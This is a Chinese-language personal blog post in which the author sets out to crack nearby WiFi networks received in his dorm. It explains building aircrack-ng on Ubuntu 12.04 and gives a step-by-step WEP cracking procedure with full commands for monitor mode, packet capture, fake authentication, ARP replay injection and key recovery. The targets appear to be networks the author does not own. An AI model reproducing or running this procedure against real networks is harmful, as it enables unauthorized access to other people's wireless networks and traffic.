最近《計算機網絡》課程講到密碼學,又重新燃起了我對破解無線WIFI密碼的熱情。在宿舍可以收到好幾個wifi,正好可以用來做實驗。
本來破解無線密碼用backtrack是最合適不過的,我也在虛擬機中玩過bt5。不過換了新筆記本后,并沒有安裝backtrack 5 的獨立系統。用虛擬機中的BT5系統破解無線密碼需要插外置的USB網卡。雖然從U盤啟動backtrack 系統也很方便,不過我還沒下好它的iso文件,所以只能作罷。
我想,既然backtrack是使用ubuntu 的軟件源,那ubuntu中也應該有相應的軟件,也就是說可以用ubuntu 來破解密碼。一搜索,果然有,就是aircrack-ng。
于是打開終端輸入以下命令來安裝它
sudo apt-get install aircrack-ng
卻提示
Package aircrack-ng is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
iw:i386 iw
E: Package ‘aircrack-ng’ has no installation candidate
竟然沒有這個包,難道是因為我使用的是64位的ubuntu 12.04 系統的原因?
谷歌一下,發現不是,是因為某些原因aircrack-ng 已經從ubuntu 12.04的軟件源中移除了,ubuntu 10.04中還有。
那怎么在ubuntu 12.04 中安裝aircrack-ng 呢?可以從網上下載源碼編譯安裝。
首先安裝兩個擴展
sudo apt-get install build-essential
sudo apt-get install libssl-dev
然后到http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz 下載最新版的aircrack-ng,解壓它
tar -xvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1
gedit common.mak
找到 CFLAGS ?= -g -W -Wall -Werror -O3 并把它改為
CFLAGS ?= -g -W -Wall -O3
保存好后,開始編譯安裝
make
sudo make install
完了之后它會提示 Run ‘airodump-ng-oui-update’ as root (or with sudo) to install or update Airodump-ng OUI file (Internet connection required).
于是輸入
sudo airodump-ng-oui-update
更新好后即可。
那怎么使用ubuntu 中的aircrack-ng 來破解無線密碼呢?
ubuntu 中 aircrack-ng 使用教程
1、啟動無線網卡的監控模式,在終端中輸入:sudo airmon-ng start wlan0
(wlan0是無線網卡的端口,可用命令 ifconfig 查看)
2、查看無線AP在終端中輸入:
sudo airodump-ng mon0
?。╩on0 是啟動監控模式后無線網的端口)
查看有哪些采用wep加密的AP在線,然后按 ctrl+c 中止,不要關閉終端。
3、抓包
打開另一個終端,輸入:
sudo airodump-ng -c 6 –bssid AP’s MAC -w wep mon0
(-c 后面跟著的6是要破解的AP工作頻道,–bissid后面跟著的AP’sMAC是要欲破解AP的MAC地址,-w后面跟著wep的是抓下來的數據包DATA保存的文件名,具體情況根據步驟2里面的在線AP更改頻道和MAC地址,DATA保存的文件名可隨便命名)
4、與AP建立虛擬連接
再打開一個新終端,輸入:
sudo aireplay-ng -1 0 -a AP’s MAC -h My MAC mon0
?。?h后面跟著的My MAC是自己的無線網卡的MAC地址,即ifconfig命令下wlan0對應的mac地址)
5、進行注入
成功建立虛擬連接后輸入:
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP’s MAC -h My MAC mon0
現在回頭看下步驟3的終端是不是DATA在開始飛漲?。谴甪f照抄就行)
6、解密
收集有15000個以上的DATA之后,另開一個終端,切換到aircrack-ng-1.1目錄,執行以下命令
sudo aircrack-ng wep*.cap
進行解密
?。ㄈ绻麤]算出來的話,繼續等,aircrack-ng 會在DATA每增加多15000個之后就自動再運行,直到算出密碼為至,注意此處文件的名字要與步驟3里面設置的名字一樣,且*號是必需的)
7、收工
破解出密碼后在終端中輸入 sudo airmon-ng stop mon0 關閉監控模式,不然無線網卡會一直向剛剛的AP進行注入的,用ctrl+c退出或者直接關閉終端都是不行的。
如果要卸載ubuntu 上的aircrack-ng,可切換到aircrack-ng-1.1 目錄,執行
sudo make uninstall
最后在手動刪除該目錄及目錄下的東西即可。
除非注明,心靈小屋的文章均為原創,轉載請注明作者和出處。
下一篇:SSG140批量導入攻擊IP